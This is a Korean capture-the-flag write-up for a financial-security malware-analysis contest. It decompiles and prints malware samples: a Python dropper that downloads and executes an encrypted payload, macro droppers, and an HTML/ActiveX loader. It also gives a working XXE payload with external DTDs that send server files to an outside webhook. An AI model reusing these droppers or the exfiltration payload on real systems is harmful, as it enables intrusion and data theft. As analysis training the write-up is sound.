금융보안원 금융보안 위협분석 대회
TEAM : N0Named
Stepin-1
수상한 문서 파일이 전송되었다 ! 해당 문서 파일을 분석하여라 !
대상 환경 : Windows 10 Education, Build 18362.1016
세부문제1
악성 exe가 생성되는 전체 경로를 적으시오. (파일 이름, 확장자 포함)
예시 ) FIESTA2020{C:\Ex\Path\filename.exe}
doc파일이 주어진다.
매크로를 확인하기 위해 편집사용 클릭 후 보기 > 매크로 > 매크로 보기 에서 편집을 눌렀는데 에러가 났다.
컨텐츠 사용을 클릭하였더니 런타임 오류가 나고, 디버그를 클릭하였더니 Project 암호 입력 창이 나왔다.
이 인증 과정을 우회해주기 위해서 .doc 파일을 hex 에디터로 연 뒤, DPB값을 찾아준다.
이 DPB를 DPX로 바꿔주고 .doc를 열어준다.
예
다시 매크로> 매크로 보기 > 편집 으로 들어가니 잘 들어가졌다.
디버깅을 통해서 악성 exe가 생성되는 전체 경로를 찾을 수 있다.
v3rypog
김다원 연구원은 최근 수상한 메일을 수신한 적이 있어 본인이 사용하던 PC를 확인한 결과, 의심스러운 파일을 발견했다.
의심 파일을 분석하는 과정에서 pyc 파일 까지는 획득했으나, 이후 분석을 못하고 있는 상황이다.
분석을 통해 공격을 막을 수 있는 FLAG 를 획득하시오.
v3rypog-1
C&C 통신하는 서버 전체 주소값
입력 형식 : http:// 를 포함한 전체 주소값
v3rypog.pyc파일이 주어진다.
해당 파일을 hex로만 까봐도 주소값을 확인할 수 있다.
...
정석대로 pyc파일을 decompile해주자.
일단 pyc의 헤더값은 0x42 0x0d 이다. 0x0d42 = 3394,
github.com/google/pytype/blob/master/pytype/pyc/magic.py
즉 python3.7 버전에서 작성되었다는 것이다.
pyc 디컴파일에는 uncompyle6를 사용하면 된다. python3.7을 지원하는 uncompyle6 최신버전을 설치하고
디컴파일 해주면,
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
|
$ uncompyle6 v3rypog.pyc
# uncompyle6 version 3.7.4
# Python bytecode 3.7 (3394)
# Decompiled from: Python 3.6.9 (default, Jul 17 2020, 12:50:27)
# [GCC 8.4.0]
# Embedded file name: /private/tmp/v3rypog.py
# Compiled at: 2020-09-02 11:26:20
# Size of source mod 2**32: 2002 bytes
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from threading import Timer
import getpass, hashlib, os, datetime, time, base64, json, marshal, types, string, sys, requests
big2 = '\n __ ______ _______ _______ ____ _____ \n \\ \\ / /___ \\| __ \\ \\ / / __ \\ / __ \\ / ____|\n \\ \\ / / __) | |__) \\ \\_/ /| |__) | | | | | __ \n \\ \\/ / |__ <| _ / \\ / | ___/| | | | | |_ |\n \\ / ___) | | \\ \\ | | | | | |__| | |__| |\n \\/ |____/|_| \\_\\ |_| |_| \\____/ \\_____|\n'
PAYLAOD = requests.get('http://54.180.11.70/e.php').text
EXPLOIT = '{"iv": "XRUNPPQYG4Y5n53MZJo2AQ==", "ct": "' + PAYLAOD + '" }'
timestamp = '1585094400'
def aes_enc(data, key):
cipher = AES.new(key, AES.MODE_CBC)
ct_bytes = cipher.encrypt(pad(data, AES.block_size))
iv = base64.b64encode(cipher.iv).decode('utf-8')
ct = base64.b64encode(ct_bytes).decode('utf-8')
result = json.dumps({'iv':iv, 'ct':ct})
return result
def aes_dec(enc_result, key):
b64 = json.loads(enc_result)
iv = base64.b64decode(b64['iv'])
ct = base64.b64decode(b64['ct'])
cipher = AES.new(key, AES.MODE_CBC, iv)
plain = unpad(cipher.decrypt(ct), AES.block_size)
return plain
def key_num(tstamp):
tm_stmp = int(tstamp)
tsmp = datetime.datetime.fromtimestamp(tm_stmp).strftime('%Y%m%d')
dt = int(tsmp[5:7])
dt += int(tsmp[2]) * int(int(tsmp[0:2]) / int(tsmp[7])) * (int(tsmp[6]) + int(tsmp[7]))
dt ^= int(tsmp[6:8])
dt = dt + 0
return dt
if __name__ == '__main__':
if getpass.getuser()[0] == 'd' and getpass.getuser()[2] == 'k':
user_key = getpass.getuser()
else:
exit()
i = key_num(timestamp)
x = bytes((i ^ j ^ x for j, x in enumerate((timestamp + '_' + user_key).encode('ascii')[:16])))
dec = aes_dec(EXPLOIT, x)
exploit_code = marshal.loads(dec)
exec_exploit = types.FunctionType(exploit_code, globals(), 'payload')
exec_exploit()
# okay decompiling v3rypog.pyc
|
cs |
소스코드를 확인할 수 있다.
v3rypog2,3
그러나 위 코드로 브포를 돌려보면 의미있는 값이 나오지 않는다.
다시 pyc코드를 살펴보면 코드가 평문으로 들어가있는게 있다. 해당 부분 주석처리하고 다시 코드 돌려주면 의미있는 값을 구할 수 있다.
SharperGram
금융보안원에 재직중인 A씨는 평소 여행을 좋아하여 외국으로 여행을 자주 다니는 편이다.
올해도 마찬가지로 여행 계획을 세우는 A씨는 최근 항공사로부터 항공권 관련 메일을 받게 되었고, 메일의 첨부파일을 확인한 A씨는 얼마 지나지않아 자신의 메일 계정 정보등이 유출된 사실을 알게되었다.
A씨의 정보가 어떻게 유출되었는지 메일을 분석하시오.
SharperGram-1
메일 최초 발신자 IP, 도메인과 해당 도메인의 최초 등록자 정보를 조사하시오. (발신IP_발신도메인_도메인등록자이름(공백없이)_도메인등록국가코드) e.g.) 0.0.0.0_domain.tld_JohnSmith_KR
eml 파일이 주어진다. Outlook으로 열 수 있는데 발신자는 ticket-mailer@discountbok.com 이다.
-도메인 : discountbok.com
eml파일을 HxD로 열어서 해당 도메인을 검색하면 ip주소를 찾을 수 있다.
- ip주소 : 184.168.221.37
그리고 도메인의 최초 등록자 이름과 국가를 구하기 위해서 아래 사이트에 도메인을 검색해보았다.
whois-history.whoisxmlapi.com/lookup-report/x923eoolk7
2015년 7월 기록에서 이름과 국가를 찾을 수 있다.
flag : 184.168.221.37_discountbok.com_LannyTyndall_CN
SharperGram-2
추가 악성코드 다운로드 주소 및 저장되는 위치를 조사하시오.
저장되는 위치는 사용자마다 다르므로, 사용자명 이후의 경로부터 서술 (악성코드 유포지_저장경로)
e.g.) http://0.0.0.0/uri/dedf?a_\Dir\Dir2\filename.ext
해당 메일 첨부파일에는 i-Ticket.xls 엑셀 파일과 해당 엑셀 파일의 패스워드가 적힌 이미지 파일이 있다.
xls파일을 다운받아 실행한다. 패스워드를 입력해주고, 악성코드가 실행될 수 있도록, 편집 사용 -> 컨텐츠 사용을 차례로 눌러준다.
이후 분석이 간편하도록 파일 잠금을 해제한다.
파일 > 정보 > 통합 문서 보호 > 암호 설정 에서 암호 전부 지우고 확인
매크로를 확인하기 위해 보기> 매크로 > 매크로 보기 로 이동하였으나, 보이는 매크로는 없었다.
이미지를 클릭해보면 좌측상단에 러시아어3가 보인다.
위 내용과 유사하다.
최하단 Sheet1을 우클릭하여 코드보기를 클릭하면 저장된 매크로 코드를 확인할 수 있다.
코드를 분석해보면, 추가 악성코드 파일을 다운받아오는 서버 주소와, 다운로드 경로를 확인할 수 있다.
Application.StartupPath 는 디버깅을 통해서 찾을 수 있었다.
flag : http://54.180.66.177/xe_\AppData\Roaming\Microsoft\Excel\XLSTART\nc.exe
SharperGram-3
악성코드가 C2와 통신할 때 사용하는 토큰과 채널, 그리고 암호화 키값을 조사하시오.
(토큰값_채널값_암호화키값)
e.g.) token_channel_key
이제 위에서 다운받은 nc.exe를 분석하는 단계이다.
nc.exe를 실행하게 되면 유저 폴더에 .txt 파일이 생성되며 유저가 입력한 키 값을 저장하고 .fiesta 확장자로 바뀌며 암호화 되는 과정을 반복하는 것을 확인할 수 있다.
nc.exe는 ConfuserEx로 패킹이 되어 있다.
ConfuserEx 언패킹 도구로 nc.exe를 언패킹 해주면
이렇게 분석할 수 있는 상태가 된다.
.NET으로 작성되었으므로 dnSpy를 사용하여 디버깅 해주도록 한다.
리퀘스트를 날리는 부분인데, 이곳에 bp를 걸어서 url값과 password 값을 알아내면 된다.
텔레그램 봇 url이 나오는데, bot: 이후가 봇의 토큰값이다.
token : 1156639839:AAELhN58xW07HE7pTwV0hLep_goctDXN4CE
채널 : 483139644
키 : F13stA-e0e0-k3y
flag : 1156639839:AAELhN58xW07HE7pTwV0hLep_goctDXN4CE_483139644_F13stA-e0e0-k3y
PowerShellcode
A사의 침해대응 담당자인 김과장은 다수의 사내 PC에서 부팅시 업데이트 알림이 뜬다는 신고를 받고 조사에 착수한 결과, 수상한 파워쉘 실행 로그를 확인했다. 발견된 파워쉘 스크립트를 분석하시오.
PowerShellcode-1
악성 스크립트는 특정 타겟을 대상으로 동작한다. 타겟을 분석하여 첫번째 플래그를 획득하시오. (타겟도메인_타겟국가_동작시점, ex: test.com_japan_20201231)
.ps1으로 된 파워쉘 코드가 주어진다.
난독화가 되어 있다.
잘 복호화하다보면 ps코드를 외부에서 하나 더 다운받아온다.
그 코드를 다시 복호화해보면 의미있는 값을 찾을 수 있다.
flag : secuholic.com_korea_20200707
PowerShellcode-2
악성 스크립트는 최초 감염시 C2서버에 전송할 수 있는 명령어 목록을 받아온다. 명령어 목록을 분석하여, 두번째 플래그를 획득하시오.
코드 분석해보면 또 코드 외부에서 받아서 실행하는 코드가 있다.
코드 복호화 해보면서 실행흐름을 따라가 보면,
c2서버와 통신하는 루틴이 나온다.
받아온 명령어는 : infect, getmsg, getflag 이고
사용한 명령어는 : IRIMFxIi, GwceHyIP 이다.
코드 돌려보니 맞았다.
그래서 getflag를 위 루틴으로 인코딩 후 리퀘
파워쉘 코드를 얻을 수 있는데, 그대로 파워쉘에 입력하면, MsgBox 형태로 flag가 출력된다.
PowerShellcode-3
C2서버에서 data에 전달되는 xml값을 파싱한다. 여기에 취약점이 있고, xxe를 시도해 보았다.
payload :
1
2
3
4
5
6
7
8
|
command=IRIMFxIi&sec=fiesta2020&data=<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://255.255.255.255/ext.dtd">
%sp;
%param1;
]>
<r>&exfil;</r>
|
cs |
(255.255.255.255에는 개인 서버 주소)
ext.dtd :
1
2
3
4
5
|
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=index.php">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'https://webhook.site/비밀/?p=%file;'>">
<!ENTITY var "%file;">
%eval;
%error;
|
cs |
이렇게 하면 index.php의 소스코드를 릭할 수 있다.
index.php에서 ./_readme_only_admin.php에 플래그가 있는 것을 알려준다.
_readme_only_admin.php의 소스코드를 릭해보면:
1
2
3
4
5
6
7
8
9
10
|
<?php
$flags = shell_exec('flags2');
if ($_SERVER['REMOTE_ADDR']!='127.0.0.1') {
echo "you are not admin!!";
} else {
echo $flags;
}
?>
|
cs |
ext.dtd :
1
2
3
4
5
|
<!ENTITY % file SYSTEM "http://127.0.0.1/_readme_only_admin.php">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'https://webhook.site/비밀/?p=%file;'>">
<!ENTITY var "%file;">
%eval;
%error;
|
cs |
flag 값을 구할 수 있었다.
(응답서버로 값이 넘어 온 것은 아니고, c2서버 response에서 오류메세지에 플래그가 같이 딸려 나왔다.)
PayDay
금융회사 임직원 A씨는 여느 달과 같이 카드 이용 대금명세서 메일을 수신하였고 결제금액 및 상세 이용내역을 확인하기 위해 첨부문서(html)를 열람하였다. 보안 프로그램을 설치하고 생년월일을 입력하려는 순간 화면이 잠기고 키보드가 먹통이 되어 PC를 사용할 수 없게 되었다. 이를 해제하기 위해서는 Flag값을 입력해야 한다는 메시지박스가 생성되었다.
A씨는 즉시 정보보호부에 피해 사실을 신고하였다. 정보보호부 내의 CERT 팀은 추가 피해를 방지하고 업무연속성을 유지하기 위해 분석 작업을 시작하였다.
PayDay-2
암호화된 쉘코드를 실행하기 위해 C2 서버에서 수신한 문자열을 일련의 루틴을 거친 후 AES 복호화에 사용하는데, 이 때 사용되는 키값은? (0x 제외하고 Hex값 형태로 입력)
html 파일이 하나 주어진다.
코드를 정렬해주었다. (2번 문제를 푸는데에 상단 코드의 내용은 필요 없어서 제외했다.)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
|
function a() {
try {
var _0x34a867 = document['getElementById']('smime_body')['value'];
var _0x59abc8 = Decode(_0x34a867);
var _0x5683a6 = new Blob([_0x59abc8], {
'type': 'application/octet-stream'
});
var _0x340994 = saveAs(_0x5683a6, '_Secure.msi');
if (_0x340994 == ![]) {}
} catch (_0x463d54) {}
}
function b() {
try {
var f = new ActiveXObject("Scripting.FileSystemObject");
var fn = f.GetSpecialFolder(1) + "\\WindowsPowerShell\\v1.0\\powershell.exe";
var a = "BWlucR0Le2AaYz44KQ==";
var s = f.GetSpecialFolder(2) + clue(a);
if (f.FileExists(fn)) {
f.CopyFile(fn, s);
return true;
} else {
return false;
}
} catch (e) {
return false
}
}
function c() {
var f = new ActiveXObject("Scripting.FileSystemObject");
var a = "BTYJZG98fGFhCGdhaQgIeG11D2x0DHNtYWALEW5/fBFreHsWbgg3";
var b = "BTYJE25+fxBhe2cTGnR4eG0OC2B0dH4WamAIYxt0C2IcDH1kYH03";
var c = "BTYIbB8IemIcf2dmbAxyeG0Lf2x0D31hamAMYm90fRMbeHMRa3o3";
var d = "BTYJZR99C2QffGdhb3V9eG16DG10DAtlYGAPF2F/cmAddHgUaQ83";
var e = "BTZ9FmoODhFpD2dkbHx/eG0JDBF0DAhibmAPZ2p4c2cceQ9tb3w3";
if (!f.FolderExists(f.GetSpecialFolder(2) + clue(a))) {
f.CreateFolder(f.GetSpecialFolder(2) + clue(a));
}
if (!f.FolderExists(f.GetSpecialFolder(2) + clue(b))) {
f.CreateFolder(f.GetSpecialFolder(2) + clue(b));
}
if (!f.FolderExists(f.GetSpecialFolder(2) + clue(c))) {
f.CreateFolder(f.GetSpecialFolder(2) + clue(c));
}
if (!f.FolderExists(f.GetSpecialFolder(2) + clue(d))) {
f.CreateFolder(f.GetSpecialFolder(2) + clue(d));
}
if (!f.FolderExists(f.GetSpecialFolder(2) + clue(e))) {
f.CreateFolder(f.GetSpecialFolder(2) + clue(e));
}
}
function d() {
var a = "BWlucR0Le2AaYz44KQ==";
var b = "BTZ9FmoODhFpD2dkbHx/eG0JDBF0DAhibmAPZ2p4c2cceQ9tb3w3CX1pbhEffH8WdygyMA==";
var c = "eWAdPDcpJSIKOTM5PG0iPD0pLxt5YA8tPC4/ATAiJAU2ISM2IG0ILCksGSZ5YCQ6KT8lMzAhL3VxAy8idAIoPzwuPnUKNDkhPCBkGzw5ZAI8Lwk5MCgkIXBjDjouIyY6OCkMPDUoYnIxOT4lY2JlYGtjfWx3e3x7YXtleigbBWJrCDkQYSt7FAsGAC0dJz45MQ8TJxgMMmUfdT0PHB16HBA0DRsNGAUYFQgMIy8rEmIJFBAEaD0QI2ksfmJvLH8FMSsEH2h0JCJoFBtiDiAHJyh7DjcSFDoYERc6Mg57fQw0PmV6KWMvLTxqZnV+aB4QFB1vCSIOehNpDHsTaGB+Y2F6Z2FuC3J4GAx6bHQICG1rdX8RYH8LZRswFisdC3gUb3UJezw1L3Jw";
var d = "eWAdPDcpJSIKOTM5PG0iPD0pLxt5YA8tPC4/ATAiJAU2ISM2IG0ILCksGSZ5YCQ6KT8lMzAhL3V8GQ8YCWgWciJqCWUffQtkH3xnYW91fXhtegxtdAwLZWBgDxdhf3JgHXR4FGkPbSh+ETQRH38LY2EOZDAhKA==";
var f = new ActiveXObject("Scripting.FileSystemObject");
var s = new ActiveXObject("WScript.shell");
var st = f.GetSpecialFolder(2) + clue(a);
var sc = f.GetSpecialFolder(2) + clue(b);
if (f.FileExists(st)) {
f.CopyFile(st, sc);
}
var c = sc + clue(c);
var d = sc + clue(d);
s.run(c, 0, true);
s.run(d, 0, true);
f.DeleteFile(sc);
}
function get_version_of_IE() {
var word;
var version = "N/A";
var agent = navigator.userAgent.toLowerCase();
var name = navigator.appName;
if (name == "Microsoft Internet Explorer") word = "msie ";
else {
if (agent.search("trident") > -1) word = "trident/.*rv:";
else if (agent.search("edge/") > -1) word = "edge/";
}
var reg = new RegExp(word + "([0-9]{1,})(\\.{0,}[0-9]{0,1})");
if (reg.exec(agent) != null) version = RegExp.$1 + RegExp.$2;
return version;
}
window.onload = function() {
var isSuccess;
var verString = get_version_of_IE();
var verNumber = parseInt(get_version_of_IE(), 10);
var savePath;
if (verString == "N/A") {
alert("지원하지 않는 형식의 브라우져 입니다.\n 지원 가능한 브라우져 : Internet Explorer");
} else {
alert('정보유출 방지를 위해 하단에 생성되는 보안 프로그램을 설치 후에 입력해주시기 바랍니다.');
a();
c();
b();
d();
}
}
function clue(a) {
var b = "NTk0ZDRhNTU=";
c = atob(b);
var c = c.toString();
var d = '';
for (var i = 0; i < c.length; i += 2) d += String.fromCharCode(parseInt(c.substr(i, 2), 16));
e = atob(a);
f = '';
for (i = 0; i < e.length; i++) {
f += String.fromCharCode(e[i].charCodeAt(0).toString(10) ^ d.charCodeAt(i % d.length).toString(10));
}
return f;
}
function bC() {
a();
}
|
cs |
a, c, b, d 함수 순서대로 실행하는데, d 함수에 있는 변수들의 인코딩을 풀어보면,
이렇게 나오게 되고, c변수를 보면, p.exe파일을 다운로드 받아오는 것을 알 수 있다.
해당 파일을 다운로드 받아 분석을 시작한다.
올리디버거로 열어서 문자열들을 확인해 보면, AES, CBC, url 등이 보인다.
이 프로그램에서 aes 복호화가 일어남을 알 수 있다.
ida에서 메인함수 마지막 부분을 보면, for문이 16번 돌고 마지막에 sub_402361 함수 하나를 실행하는 것을 볼 수 있다.
aes 키는 16바이트 임으로 위 for 루틴이 키 생성 과정이고 마지막 함수가 복호화를 하는 함수라고 유추해 볼 수 있다.
해당 함수를 콜하는 주소인 5bc4에 bp를 걸고 디버깅을 했다.
그리고 해당 함수에 인자로 넘어가는 값에서 키값을 확인할 수 있었다.
'CTF Write Up' 카테고리의 다른 글
제 2회 TeamH4C CTF 2020 Write-up (0) | 2020.10.13 |
---|---|
CCE2020 Quals Write-up (0) | 2020.09.26 |
2020 Defenit CTF Write Up (2) | 2020.06.06 |
angstrom CTF 2020 write up (0) | 2020.03.14 |
UTCTF 2020 Write up (0) | 2020.03.07 |